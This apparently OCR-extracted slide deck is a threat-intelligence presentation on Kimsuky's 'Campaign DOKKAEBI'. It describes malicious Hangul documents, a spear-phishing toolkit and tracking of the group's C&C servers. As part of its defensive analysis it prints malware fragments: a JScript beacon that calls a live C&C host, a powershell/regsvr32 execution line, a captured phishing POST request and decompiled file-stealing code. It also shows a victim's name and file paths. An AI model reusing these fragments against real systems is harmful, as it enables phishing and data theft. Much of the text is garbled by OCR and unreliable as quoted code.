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About Us

= Threat Intelligence Report
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http://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataList.do
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Introduction

= Campaign DOKKAEBI

= A set of Operation carried out by Threat Groups

= using malicious Hangul documents for some particular
purpose

= Related Threat Groups

= Bluenoroff, Kimsuky, Scarcruft

Actor
TTPs/Campaign

e Attribution
e Motivation/Goal

Hangul documents and
dropped(downloaded)

malware Campaign E::Jnesnuci(l;)ff
DOKKAEBI
=> Documents Of Korean Scarcruft

And Evil Binary 10/155



Introduction

= Related Threat Groups

Threat Activity . .

Global and Korean domestic
financial companies

Officials and users

of crypto-currency exchanges

Bluenoroff

Infrastructure, Government,
Kimsuky North Korean defectors and
politicians

Diplomatic and North Korean
Scarcruft Human Rights Organizations and
People

Confidential
information
takeover and
monetary gain
(SWIFT, crypto-
currency)

Information
gathering and
social confusion

Information
gathering and
information
destruction
purposes

2015~

2013 ~

2016 ~

SWIFT illegal
transaction of central
bank of Bangladesh

KHNP cyber terrorism
(2014)

Attack
using Flash Zero Day
(CVE-2016-4171,
CVE-2018-48738)
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Introduction Viru

BULLETIN

= Related Threat Groups

Threat Activity . .
Group Target Purpose Time Major Incident
Infrastructure, Government, Information KHNP cvber terrorism
Kimsuky North Korean defectors and gathering and 2013 ~ »(12014)
politicians social confusion

=1

". . ;.. T — -
’5&3 |;:“t»-\y_.
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Introduction V

= Kimsuky Group

* The kimsuky operation: a north korean apt?
(Kaspersky, 2013.09)
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Introduction V

= Kimsuky Group

* The kimsuky operation: a north korean apt?
(Kaspersky, 2013.09)

= KHNP (Korea Hydro & Nuclear Power)
cyber terrorism attacks (2014.12)
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Introduction V

= Kimsuky Group

* The kimsuky operation: a north korean apt?
(Kaspersky, 2013.09)

= KHNP (Korea Hydro & Nuclear Power)
cyber terrorism attacks (2014.12)

= Still active as of 2019
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= Related Cases

16/155



Related Cases

= 2019.01. ~

TheKoreaTimes = All Q § ¥ D

National

Politics Diplomacy Defense Labor & Environment Law & Crime Health & Welfare Embassy Seoul & Provinces Education

Foreign Communities Obituaries

Politics

South Korean reporters get malware emails; North Korea suspected

v

The email titled "TF reference info" with a compressed file attached was sent to
more than 70 reporters, mostly members of the unification ministry's press
corps, earlier in the day. It was sent through a private email address from a
person named "Yoon Hong-geun." The ministry suspects it contains malicious
code designed for hacking.

"Since the start of this year, many hacking attempts and cyberattacks have been

carried out by those disguising themselves as the government and the
Reference : https://www.koreatimes.co.kr/www/nation/2019/01/356_261573.html ] 7/1 55



Related Cases Vi

2. 252
L9t : 2019 01€ 07 (&) 01:21
HZ : RE: TF 21XI&

Hr=Algt

more than 70 reporters

CH2Fatd 171 (1.98MB) ~ 2019.02.06 (30 E2 1003| CIREE 7+s5)

"AZBALE BiE

—

= Known as Variously Operations

i

SASHA] 2| ZFEA| L2~ (H[H2 "tf)

= Cobra Vennom, Kitty Phishing, Kabar Cobra ...

Reference : https://blog.alyac.co.kr/2066

https://threatrecon.nshc.net/2019/01/30/operation-kitty-phishing/
https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra%20(1).pdf '] 8/'] 55

Kimsuky Attacks Journalist and a Cryptocurrency Business in South Korea (2019.02.11, Kaspersky)
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= Toolset characteristics
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Toolset characteristics

» Server-side Toolkits & Malware

00
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Toolset characteristics

= Server-side Toolkits (for Spear-Phishing)
= 1) Mailer — shape
= 2) Mailer - core
= 3) Beaconer
= 4) Phisher
= 5) Logger
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Toolset characteristics

& S5 C ©® Foof primary-help.esy.es/mail.php

= Server-side Toolkits suwie e <= Sender Name
SURIOIOIR & eoxopre <§ Sender ﬁ—mail
. lar — sux08 uoos <~ Receiver Name
1) Mailer — shape stixopiy -oon~ Receiver E-mail
B <- Title
L8 Contents

fene s swemvze Attachments

COMMIT

22/155



Toolset characteristics

VIr

BULLE

¢ 2 C O 7o

primary-help.esy.es/mail.php

= Server-side Toolkits st@oE e

SAXO|HY 2 rmooy

SMXOIB somog
LX< mor
. A= e
= 2) Mailer - core
<html lang="ja">
<head>
<meta charset="utf-8"> e
<META http-equiv="Content-Language" CONT
<meta name="product” content="Metro UI CS
<meta name="description” content="Time-Sf
<meta name="author" content="Time-Space”:
<meta name="keywords" content="js, css, n Lo WY MY MUE BY A8
COMMIT
body- | comm
<form method="post" name="frm" id="frm" Jaction="mail ok.php'l enctype="multipart/form-data" >
<table>
<tr>
\td)-g-{jx}0|§«/td)
<td->
<input type="text" name="from_name" id="from_name" placeholder="&&IXIH¥" size="35" >
</td>
</tr> 55

</tr>



Toolset characteristics

= Server-side Toolkits (for Spear-Phishing)

= 3) Beaconer
= 4) Phisher
= 5) Logger
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DaumIZ{MIE
[AAE SR8 AFo| RieHglL|ct

[=—]

TOOIset Ch gt= Al 53gjl@hanmail.net

= Server-side .. ..

®  sjailo| kS A1 539 of HIUH ST} AY QS oHE7HY) HA Q| USLICH

= 3) Beaconer

sixi D24Llo] B LH S} ErelofA] L &EIUS 4 YBLICH

= 4) Phisher DaumHQIE 2| ofzto| ufe} H|UHE S Wz
X 7

ol

tX| 82 A|AZO| A AL FXIZ 07| 1 RHSE 2

AHYE Hci2 ALE3H=E 517| 215101 HIRHS S CHA| 2H5HMI2.

Al2-I0] 722 2et0f| O AIYE RHTHE LT

HIYHS HE Hi=7| &

http: //user-manage-center hol.es/login/? :
m=viewChangePasswd&menu=security&token_h

<tr>
<td height="20"></td>

</tr>
</tbody></table><img src="http://user-manage-center.hol.es/login/reading. php?uid=53d/5GzN

" width="0px"

height="0px" style="display:none'>




Toolset characteristics VIFUS

= Server-side (for Spear-Phishing)

C ® F<2 28F user-manage-center.hol.es/login/?m=viewChangePasswd&menu=security&token_help=

Do 3 AuEX 1164 2321 oy Ft

LHAE  uws=z umeme umess sewsez | s

@ 271RQIE712) HLHS HHS Sa OIS OFHSHH HE5IMR.

= 4) Phisher

By H|YHS SIX HIUHSE 2Rfs] FHIR H7|
= 5)L
ogqger
M HYHS MEIYHSE gois AL 7|
- HIYHSE 8-32K10] HE UI/ARK 2K BEAHE Z85I0] ALBSH 4 L0
#2 HILHSLE X[ A= AO|ES] HIZHS Y} 242 AL, 85| 219 F71H 45101 Akg3h= 20| E5LC
HIZHS 0| E+SXE 571510 AFZSIAI 71457 | 211, 8|S QRMEYt H0HY =89 2{30]| E0EL




POST http://user-manage-center.hol.es/login/?’m=viewChangePasswdé&menu=security&token bt
Accept: application/x-ms—application, image/jpeg, application/xaml+xml, image/gif, }V, '.l'l
Referer: http://user-manage-center.hol.es/login/7?m=viewChangePasswd&menu=securityé&tc BULLETIN
Accept-Language: ko-KR -
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; ¢
Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Host: user-manage-center.hol.es

Content-Length: 176 e
Connection: Keep-Alive
Pragma: no-cache
Cookie: _ga=GAl1l.2.1456522618.1554341749; _gid=GA1.2.190182629.1554341749
Current Password : 123qweasd New Password : 123qweasdzxc o
assword=123gweasdatextPassword=123qweasdfnewPassword=123qweasdzxd | 225HMIS2.
EtextNewPassword=123qweasdzxchPAGEID=8uid=53g uid, : [E-mail ID of Target]
hupw=123qweasdknew_pw=123qweasdzxc&conf_pw=123qweasdzxc&stp=
X H|YHS SR Y SE YAy T2 53|
= 5) Logger
M HIEHS MHIYHSE i3 FAR ]|
HIZHSE 8~32K12] HE UI/AEZXL, RAL ESEAHE ZESI10] ARSI == 20012
F2 HIZHSLE X A= AO|EC| HIUHST 22 B, =857| #9 7| 45101 Ak83h= 20| EGLICH
HIYHSO| EF2AHE F71510 AFZSIAIS 7|6k | g1, B|2HS QFME7 0y =82 /30| S0{SLIC




Toolset characteristics V'

= Malware
= 6) Dropper — Malicious HWP Documents
= 7) Dropper — Camouflaged HWP Documents
= 8) Script
= 9) Info Stealer

Reference : 28/1 55



Toolset « -

}
1) Create 3) Load
% <« hat _anesourms

= Malware-- 2y

(Camouflaged H

hS) Create Fil

WP Documents)

&

4) Execute
Normal HWP Documents’

Resources
in Malware

—]

F3-UFXIZ.hwp
(Normal HWP Documents)

AlyacMonitor.db_ini
(C&C SERVER Information)

Infected PC Information to C&C

15) Remote Control

14) Upload
' © oo

AlyacMonitor.db
(Malware)

6) Execute

specific

function

—

MAC

based on C&C Response A
[C&C Server]
(safe-naver-mail.pe.hu)
A
Injection target proces:
(explorer.exe)
.
[ i

13) Injection into
the normal process

Entry
CheckFile() function

= Full Image:

http://bit.ly/VB2019_IMG_Malware

11) Registration in registry
lated to startup program
for persistent infection

(Alyac Update)

8) Set C&C address
to specific registry value

(ScreenRibbonsDomain)

9) Create Directory

10) Check
environment (32/64bit)

7) Check MAC Address
and Windows Version Information

Y

— |

12) Malware self-replicatiftg

(AlyacMonitor.dll))
AppData\\Roaming\\Microsoft\AlyacEst

10) If the operating environment is 64bit,
D load additional malware

from C&C server

http://[C&C)/
Est/down/AlyacMonitor64



Toolset characteristics V'

= Malware
" 7) Dropper — Camouflaged HWP, _ .
Normal HWP Documents>
2) Self EF3-UFAA=.hwp
Delete (Normal HWP Documents)

1) Create 3) Load
.bat Resources

“5) Create Flle—) | \ ---------

rns.bat E3-UFAE.hwp Resources AlyacMonltor db_ini
[BLANK......].scr in Malware (C&C SERVER Information)
(Camouflaged HWP Documents) I .
5) Create Fil

DLL

AlyacMonitor.db
(Malware) —




14) Upload
Infected PC Information to C&C [~

5) Create File=)» , = | --------------momomemeees € - - == >
15) Remote Control
. based on C&C Response A
ces AlyacMonitor.db_ini [C&C Server]
vare (C&C SERVER Information) (safe-naver-mail.pe.hu)

Injection target process
(explorer.exe)

\4

13) Injection into
the normal process

— o]

7) Check MAC Address
and Windows Version Informa_nlon

= Malware
= 9) Info Stealer

8) Set C&C address
to specific registry value

- ] e = === =]

(ScreenRibbonsDomain) 7



Toolset characteristics V'

Mailer (shape)

Mailer (core)

Beaconer
Phisher
Logger

Malicious HWP

Camouflaged HWP

Script

Info Stealer

Mailer

Mailer

Web-Beacon

Account Stealer
Phishing
Logging
Phishing
Dropper

Sprear-Phishing
Dropper

Sprear-Phishing

Downloader
Logging

C&C / DLL/ FTP
Downloader

Logging

Contents

Mailer (just shape)

Mailer (actual function)
1) Attachment malware
2) Link to phishing page for account takeover

Beacon to check whether mail is being viewed

Phishing Toolkit(lod) Phishing Page
for Account Steal

Logging for Phishing Target Information
Malicious HWP Documets

Camouflaged HWP Documents (Ex. sfx, exe ...)

Download additional malware and logging
(Ex. *.vbs, *.wsf, *jse, *.ps1)

Steal Information of Infected Target
and Download additional malware
(Ex. Some case using FTP)



Contents

= Tracking Malware & Monitoring C&C
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Tracking Malware & Monitoring C&CV

= Focus
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Tracking Malware & Monitoring c&cVIrus

= Focus
= Attacker

Liverpool's Attack\
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Tracking Malware & Monitoring C&CV

= Focus
= Attacker !'= Defender
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Tracking Malware & Monitoring C&CV.

= Focus
= Attacker !'= Defender
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Tracking Malware & Monitoring C&CV

= Focus
» Attacker != Defender : OPSEC FAIL

fatym = R " e &
T e 2% # 4 - 4
o= ~','. iRy AR

e R R
i — *'m\L = row
= - = VA ‘,'.’,. . =
K1mSuky's SEEENS
serense
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Tracking Malware & Monitoring C&CV

= OPSEC FAIL CASES
= 1) Directory Listing

= 2) Leaked FTP Access Information

= 3) File Download vulnerability
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Tracking Malware & Monitoring C&CV

= OPSEC FAIL CASES
= 1) Directory Listing
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Tracking Malware & Monitoring c&cVIrus

= [CASE 1-1] Directory Listing - HWP Malware
= After “Campaign DOKKAEBI"” (H-DS type)
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Related Toolset

Mailer (shape)

Mailer (core)

Beaconer
Phisher
Logger

Malicious HWP

Camouflaged HWP

Script

Info Stealer

Mailer

Mailer

Web-Beacon

Account Stealer
Phishing
Logging
Phishing
Dropper

Sprear-Phishing
Dropper

Sprear-Phishing

Downloader
Logging

C&C / DLL/ FTP
Downloader

Logging

Contents

Mailer (just shape)

Mailer (actual function)
1) Attachment malware
2) Link to phishing page for account takeover

Beacon to check whether mail is being viewed

Phishing Toolkit(lod) Phishing Page
for Account Steal

Logging for Phishing Target Information
Malicious HWP Documets

Camouflaged HWP Documents (Ex. sfx, exe ...)

Download additional malware and logging
(Ex. *.vbs, *.wsf, *jse, *.ps1)

Steal Information of Infected Target
and Download additional malware
(Ex. Some case using FTP)



Related Toolset VIFUS

Contents

Mailer (shape) 1 Mailer Mailer (just shape)

Mailer (actual function)
Mailer (core) 2 Mailer 1) Attachment malware
2) Link to phishing page for account takeover

Beaconer 3 Web-Beacon Beacon to check whether mail is being viewed
Phisher 4 Account Stealer  Phishing Toolkit(lod) Phishing Page
Phishing for Account Steal
Logging : _ :
Logger 5 Phishing Logging for Phishing Target Information
Dropper

Malicious HWP 6 Malicious HWP Documets

Sprear-Phishing
Dropper

Camouflaged HWP 7 Sprear-Phishing

Camouflaged HWP Documents (Ex. sfx, exe ...)
Script 3 Downloader Download additional malware and logging
P Logging (Ex. *.vbs, *.wsf, *.jse, *.ps1)
C&C / DLL / FTP  Steal Information of Infected Target
Info Stealer 9 Downloader and Download additional malware
Logging (Ex. Some case using FTP)



Tracking Malware & Monitoring c&cVIrus

= [CASE 1-1] Directory Listing - HWP Malware

Basic Properties

MD5 8332be776617364c16868c1ad6b4efe?
SHA-1 618500453c5488e4a2fe43d5647f46eefe01bd56

SHA-256  5f2ac8672e19310bd532¢c47d209272bd75075696deabffcc47d1d37f18aff141

SSDEEP  1536:1Vrn64kjWjKi[EKd2h3K7ZUeYZuZVjhCqqrqTfCAtfIIJIX7mA6rcWRX6SI6irXDP:1vmKVWYn

File type  Hangul (Korean] Word Processor document
Magic CDF V2 Document, corrupt: Cannot read summary info
File size 227.97 KB (233444 bytes)

|l 7tofet 2

dwlim

burari

9,0, 0,562 WIN32LEWindows_Unknown_Version
2018-05-14 00:17:00

2018-05-18 06:04:43.710000

History ®

First Submission
Last Submission

Last Analysis

2018-05-23 00:52:17
2018-05-30 01:45:39
2019-04-04 03:02:57



Tracking Malware & Monitoring c&cVIrus

= [CASE 1-1] Directory Listing - HWP Malware

* Process Hollowing : notepad.exe

= core.dll (4de21c3af64b3b605446278de92dfff4)
= DLL Name : OneDIll.dll

= Export Function Name : DIIRegisterServer

d Hwp.exe "C:\5f2ac8672e19310bd532c47d209272bd7507569 6deabffcc47d1d37f18aff141.hwp"” (PID: 5800)
7] HimTraylcon.exe (PID: 6092) (C)Hash Seen Before
[ notepad.exe (PID: 3908) @
- @ regsvr32.exe /s "%TEMP%\core.dll" (PID: 4020)
- @] wscript.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\fontchk jse" (PID: 3904)

.rdata:1000DFEQ ; [Export Ordinals Table for OneD1l.dl1]
.rdata:1000DFEQ ;
.rdata:1000DFE® word_1000DFE® dw 0 ; DATA XREF: .rdata:1000DFD4to
.rdata:1000DFE2 aOnedl11D11 db 'OneDl11l.d11',0 ; DATA XREF: .rdata:1000DFBCto
.rdata:1000DFED aDllregisterser db 'Dl1RegisterServer',@
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‘d Hwp.exe "C:\5f2ac8672e19310bd532c47d209272bd7507569 6deabffcc47d1d37f18aff141.hwp" (PID: 5800) bt
7] HimTraylcon.exe (PID: 6092) () Hash Seen Before

@] notepad.exe (PID: 3908) @
L @] regsvr32.exe /s "%TEMP%\core.dll" (PID: 4020) @
- @1 wscript.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\fontchk.jse" (PID: 3904)

= [CASE 1-1] Directory Listing - HWP Malware

» fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
= C&C : suppcrt-seourity[.]esy.es (185.224.138[.]29, NL)

if (fs.FileExists(folder + runfile))
{

objShell.Run("powershell.exe -windowstyle hidden regsvr32 /s /i:\"" + "\" " +
folder + runfile, @, true);

try{

log.open("GET", "http://suppcrt-seourity.esy.es/update/templates/indox.php?v=s",
false);

log.send();

}catch(e){}

}
}
Ycatch(e){}

WScript.Sleep(600000) ;
twhile(true)

try{

log.open("GET", "http://suppcrt-seourity.esy.es/update/templates/indox.php?v=pe", false);
log.send();




‘d Hwp.exe "C:\5f2ac8672e19310bd532c47d209272bd7507569 6deabffcc47d1d37f18aff141.hwp" (PID: 5800) '°
] HimTraylcon.exe (PID: 6092) & [0 Hash Seen Before ru
] notepad.exe (PID:3908) ® BULLETIN
L@ regsvr32.exe /s "%TEMP%\core.dll" (PID: 4020) @ -
- @] wscript.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\fontchk.jse" (PID: 3904)

= [CASE 1-1] Directory Listing - HWP Malware

» fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
= C&C : suppcrt-seourity[.]esy.es (185.224.138[.]29, NL)

if (fs.FileExists(folder + runfile))

{

objShell.Run("powershell.exe -windowstyle hidden regsvr32 /s /i:\"" + "\" "

‘rue) ;

@ suppcrt—seourity.esy.es,-’ upaats
//suppcrt-seourity.esy.es/update/templates/indox.php?v=s",

l
Index of /update

(D suppcrt-seourity.esy.es/update/fonts/log.txt

Parent Directory

» /zaexe 2018-05-30 00:22:24 - 185.220. -8

e boot 2018-05-30 00:22:32 - 185.220. - pe
o fonts/ 2018-06-04 06:28:02 - 112.218. - pe
o templates/ 2018-06-04 06:28:07 - 112.218. - pp

ry
log.open("GET", "http://suppcrt-seourity.esy.es/update/templates/indox.php?v=pe", false);

log.send();



Tracking Malware & Monitoring C&CVILS

» Like Sherlock Holmes ...

75 '
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Search :
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Tracking Malware & Mon

A CRIMINAL
ALWAYS RETURNS

T0O THE SCENE OF
THE CRIME




Tracking Malware & Monitoring c&cVIrus

= C&C - Tracking/Monitoring

» fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
= C&C : suppcrt-seourity[.]esy.es (185.224.138[.]29, NL)
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Tracking Malware & Monitoring c&cVIrus

= C&C - Tracking/Monitoring (18.07.10., D+49)

» fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
= C&C : suppcrt-seourity[.]esy.es (185.224.138[.]29, NL)

L Jul 10th, 2018 at 13:29:05
# 01-change-c2 - Jul 10th, 2018 View in channel

Kimsuky C2 - seourity.esy.es/update/fonts/log.txt APP 13.29
2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64

2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64-
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Tracking Malware & Monitoring C&CVI

= C&C - Tracking/Monitoring (18.07.10., D+49)

» fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
= C&C : suppcrt-seourity[.]esy.es (185.224.138[.]29, NL)

. S Jul 10th, 2018 at 13:29:05
# 01-change-c2 - Jul 10th, 2018 View in channel

Kimsuky C2 - seourity.esy.es/update/fonts/log.txt APP 13.2
2018-07-10 03:01:21 - 183.101. - C485088E 00106.1.7601.64

2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64-

SO & suppcrt-seourity.esy.es/update/fonts/log.txt

2018-07-10 02:41:10 - 183.101. - C

2018-07-10 02:41:15 - 183.101. - e

2018-07-10 02:41:17 - 183.101. - f

2018-07-10 02:41:20 - 183.101. - C485088E 00106,1,7601,64
2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64
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= C&C - Tracking/Monitoring (18.07.13., D+52)

» fontchk.jse (f22db1e3ea74af791e34ad5aa0297664)
= C&C : suppcrt-seourity[.]esy.es (185.224.138[.]29, NL)

. L Jul 10th, 2018 at 13:29:05
# 01-change-c2 - Jul 10th, 2018 View in channel

Kimsuky C2 - seourity.esy.es/update/fonts/log.txt AP 13.29
2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64
2018-07-10 03:01:21 - 183.101. - C485088E 00106,1,7601,64-

(® suppcrt-seourity.esy.es/update/fonts/C485088E /

Index of /update/fonts/C485088E

e Parent Directory
e zerobase
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= C&C - Tracking/Monitoring (18.07.13., D+52)

= zerobase (53ac231e8091abcd0978124f9268b4e4)
= XOR : O0x09FD8477

. —— length: 419327 total: 2 I
Recipe BE 8 Input Lines: L Leded: 2 + O] B =

44A71477 OAFD8477 ODFD8477 F6028477 B1FD8477 @9FD8477 49FD8477 @9FD8477 09FD8477

From Hex @9FD8477 09FD8477 09FD8477 09FD8477 @9FD8477 @9FD8477 01FC8477 07E23E79 09498DBA
el 28458538 CADCDO1F 608EA407 7B92E305 6890A414 6893EA18 7DDDE612 298FF119 2994EA57
Auto 4DB2D757 6492E@12 27F0897D 2DFD8477 @9FD8477 B443D3B4 F@22BDE7 FO22BDE7 F@22BDE7

8340BEE6 FB22BDE7 8340BSE6 GE22BDE7 8340B9E6 E222BDE7 6E827AE7 F222BDE7 BA47BEE6
E522BDE7 BA47BSE6 DO22BDE7 BA47BOE6 E@22BDE7 8340BCE6 F722BDE7 FO22BCE7 8422BDE7

XOR EQ44B4E6 F822BDE7 E044BDE6 F122BDE7 E@4442E7 F122BDE7 EQ44BFE6 F122BDE7 SB94E71F
FO22BDE7 @9FD8477 @9FD8477 59B88477 45FC8177 S8OEDC32C @9FD8477 @9FD8477 E9FDS656

Key B 02FC8A7A 09598577 09438577 @9FD8477 79928477 @9ED8477 093D8577 09FD8467 Q9ED8477
09FD8477 HEX 09FF8477 OFFD8477 @9FD8477 OFFD8477 Q9FD8477 095D8777 09F98477 @9FD8477 OBFDCA76
09FD9477 @9ED8477 09FD9477 @9ED8477 O9FD8477 19FD8477 BID28677 79FD8477 29CD8677
59FD8477 098D8777 E9FC8477 @9FD8477 Q9FD8477 @9FD8477 Q9FD8477 097D8777 1DE98477
99D98677 15FD8477 O9FD8477 @9FD8477 Q9FD8477 @9FD8477 Q9FD8477 09FD8477 BIDIS6T77

Scheme

Standard |:| Null preserving

time: 87ms

Output length: 186368 () I_D ] ra

lines: 454

MZuwirnnnnnn YVen vnnnnnn S °,,” 1I! .LI!'This
program cannot be run in DOS mode.

$ernnnnn L3WAUR9. UR9. URI. .%:.0R9. .5<.gRI..5=.€R9.g.p.(RI.32:.1R9. 32<,URY. 32=, éR9. .58
.pB9.URS..R9.£20.MARY.E29.8R9. 1. 5R9.€%;.0R9.RiChURI. + v vuuu .. PE..L.u... Glevevenns a.

- 3 noa A n
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= C&C - Tracking/Monitoring (18.07.13., D+52)

= zerobase xor 09FD8477
(MD5: 8b59ealee28e0123da82801abc0cce4dd)

.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:
.rdata:

10022FE8

10022FES8
10022FEC
10022FEC
10023005
10023005
10023017

DLL Name : HanyangUpload_script.dll
Build Time : 2018.07.12. 08:25:45

; Export Ordinals Table for HanyangUpload_script.dll
10022FES8 ;

J

word_10022FE8 dw 0, 1 5 DATA XREF:

aHanyanguploadS db ‘HanyangUpload_script.dll',0

5 DATA XREF:

aDllregisterser db 'Dl1RegisterServer',0

; DATA XREF:
aGetname db 'GetName',0 ; DATA XREF:

.rdata:10022FD410
.rdata:10022FBCto

.rdata:off_10022FE@t0
.rdata:off_10022FE@to
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= C&C - Tracking/Monitoring (18.07.13., D+52)
= HanyangUpload_script.dll - GetName

* 1) Get Computer Information (Mac Address, Volume)

if ( GetAdaptersInfO(&Adapterlnfo, &SizePointer) ) LABEL_ZQ:
goto LABEL_20; if ( GetVolumeInformationA(
v@ = &AdapterlInfo; "Ca\\"
hile ( 1 N
? ile (1) VolumeNameBuffer,
0x104u
memset(v18, @, 0x104u); 2 .
vl = &v0->GatewaylList.IpAddress; &olumeSerialNumber,
do &MaximumComponentLength,
{ &FileSystemFlags,
v2 = v1->String[@]; 0,
vl = (vl +1); 2) )
v1->String[VolumeNameBuffer - &vO->GatewayList.IpAddress {
} v9 = VolumeSerialNumber;
while ( v2 ); }
vsprintf_100018F0( else
v18
" 2 " {
%02X%02X%02X%02X%02X%02X" , .
V0->Address[0], v8 = GetTlckgount();
vo->Address[1], v9 = rand() * v8;
vo->Address[2], VolumeSerialNumber = v9;
v@->Address[3], } .
vo->Address[4], vsprintf_10001930(&ComInfo_1002E9D@, 16, "%X"
vO->Address[5]); result = 1;

if ( !strstr(vis, "00000000") ) }

> V9);



Tracking Malware & Monitoring c&cVIrus

= C&C - Tracking/Monitoring (18.07.13., D+52)

= HanyangUpload_script.dll - GetName

= 2) Scan Specific Files

void __noreturn |Loop_100017D0()

{
char i; // [esp+7h] [ebp-111h]
char v1; // [esp+8h] [ebp-110h]

Print_Debug_10002610("UploadAll %d", 136); // UploadAll 136
for (1 =0; ; ++1 )
{
memset(&vl, 0, 0x104u);
vsprintf_10001930(&v1, 260, &aCUsersInsooleo[260 * i]);
ScanFolder_100013E0(0, &v1, 0i64);

}
}
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Tracking Malware & Monitoring C&CVIIUS

= C&C - Tracking/Monitoring (18.07.13., D+52)
= HanyangUpload_script.dll - GetName

:1002..
:1002..
:1002...
:1002...
:1002..
:1002..
:1002..
:1002...
:1002...
:1002..
:1002..
:1002..
:1002...
:1002..
:1002..
:1002..
:1002..
:1002...
:1002..
:1002..
:1002..
:1002..
:1002...

= 2) Scan Specific Files

Length

0000005C
00000067
0000005C
00000068
0000005F
00000070
0000006E
00000063
00000070
00000067
00000064
00000066
00000068
00000066
00000065
00000067
0000006F
0000005C
00000068
0000004F
0000006A
00000060
00000069

ﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁ;‘
°
@

String

C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.
C:\\Users\\Insoo.

Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1
Jeong\\Documents\\1

Documents\\Dir1l
Documents\\Dirll
Documents\\Dirll
Documents\\Dir@9
Documents\\Dirll
Documents\\Dir@9
Documents\\Dir@9
Documents\\Dir@9
Documents\\Dir@2
Documents\\Dirll
Documents\\Dir1l
Documents\\Dir03
Documents\\Dirll
Documents\\Dir@9
Documents\\Dir@9
Documents\\Dir@9
Documents\\Dir@9
Documents\\Dir@9
Documents\\Dirll
Documents\\Dirll
Documents\\Dir1l
Documents\\Dirll
Documents\\Dirll

New Life\\NICN\\NICN 2017\\Peace Man
New Life\\NICN\\NICN 2017\\Peace Men
New Life\\NICN\\NICN 2017\\Peace men
Personal\\EH F5t 2| F\\2012H SFSAIHE 1 (A ¢
New Life\\FAEA FIE\\AIGA}F 2O FAE hwp
Personal\\My Ministry Partners\\ZQl4M WAIQ} E35HA}
Personal\\My Ministry Partners\\Al2 9|5 otL}of &
Personal\\My Ministry Partners\\QtL}O}g AIZHE . hwp
Message\\Message Pre Data\\235t1} ®H 2|1 RA}Y
New Life\\From David Alton O|EjAI Al Q} ESIAIZIE  hw
New Life\\NK AFHEFSEaL Al AT (£HY 21 3E]).hwp
Wongo\\M w 2tA HAD\\st=xu3| ZHF MW Fot4d . hw
New Life\\FAED} FEE\\NK Team Y HOoLl AHatx.d
Personal\\EWH =Q3F MA|S\\20143 =0 A A .hw
Personal\\EtH £235t HAS\\E =St A TA|.hwp
Personal\\EtH £Q3t HAS\\E3AM T 2012EH (X Y).h
Personal\\EHl F25t HAS\\FHS0H H= =HIE
Personal\\EHl F25t HA[S\\FAH S0 .hwp

New Life\\E ZAOA Lt2| MA|Z[F Zo\\AFGHEF 1,
New Life\\NK O|A}Z| 16.10.pptx

New Life\\NKEH7|M B IR CHCEZFALSE QU ZHALR Q).
New Life\\2{A|O} 55 ZEH A E (M LEZH). hwp

New Life\\Q!d Atz TUA\\NK B At EH 1A (Non-Field)

List.hwp
in the Country.p
Pictures
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= C&C - Tracking/Monitoring (18.07.13., D+52)

= HanyangUpload_script.dll - GetName
= 3) C&C

strcpy(&v8, "ac.wsf");
*cac_wsf = *"C:\\ProgramData\\cac.wsf";
memset (&v9, @, OXEDu);
memset (&v6, @, 0x104u);
v2 = fopen(cac_wsf, "wb");
v3 = Vv2;
if (v2)
{
fwrite(aXmlPackageJobI, 1u, 2298u, v2);
fclose(v3);
}
Enc_File_10002280(al);
vsprintf_10001930(&v6, 260, "/filepath:\"%s\"", al);
Print_Debug_10002610("Start Send");
memset (&pExecInfo, @, 0x3Cu);
pExecInfo.chSize = 60;
pExecInfo.lpFile = cac_wsf;
pExecInfo.fMask = 64;
pExecInfo.lpParameters = &v6;
pExecInfo.lpVerb = "open";
pExecInfo.nShow = @;
ShellExecuteExA(&pExecInfo);
WaitForSingleObject(pExecInfo.hProcess, 0x927COu); 59/155
Print_Debug_10002610("end Send");
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aXmlPackagelobI db '<?xml?>',@Dh,0Ah ; DATA XREF: send_100024A0+97t0

db '<package>',@Dh,@Ah

db '<job id=',27h, 'sydAMDhr',27h,"'>"',0Dh,0Ah

db '<script language=',27h,'JScript’,27h, " '><![CDATA[',@Dh,@Ah

db 9, 'function myTrlim(x) {',@Dh,0Anh

